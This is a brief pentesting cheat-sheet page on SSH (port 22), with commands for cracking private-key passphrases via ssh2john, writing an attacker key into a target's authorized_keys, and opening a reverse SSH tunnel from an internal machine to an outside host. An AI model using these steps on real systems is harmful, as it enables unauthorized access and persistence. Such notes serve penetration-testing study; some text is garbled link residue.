22 - SSH

Add an SSH-key

ssh-keygen -t rsa
ssh-copy-id -i ~/.ssh/id_rsa.pub [email protected]

Decrypt RSA file

ssh2john id_rsa

or you can user sshng2johnarrow-up-right which supports cracking into a format for jumbo johnarrow-up-right (john the ripper but for GPU)

pyhton sshng2john id_rsa

Copy SSH public file

On your target machine:

echo "<your .ssh/key.pub>" > ~/.ssh/authorized_keys

Reverse SSH tunnel

On the internal machine:

ssh -R 19999:localhost:22 [email protected]

Creates listening tunnel on 19999

On the external machine:

ssh user@localhost -p19999

Connects to 19999 to ssh back to the start of the tunnel using the remote machine's username and password

Enumeration

SSH Mismatch

if you get the error:

Unable to negotiate with 123.123.123.123 port 22: no matching key exchange method found. Their offer: diffie-hellman-group1-sha1

Use the '-oKexAlgorithms' or '-keyexchange'

Example:

Install ssh v1

Last updated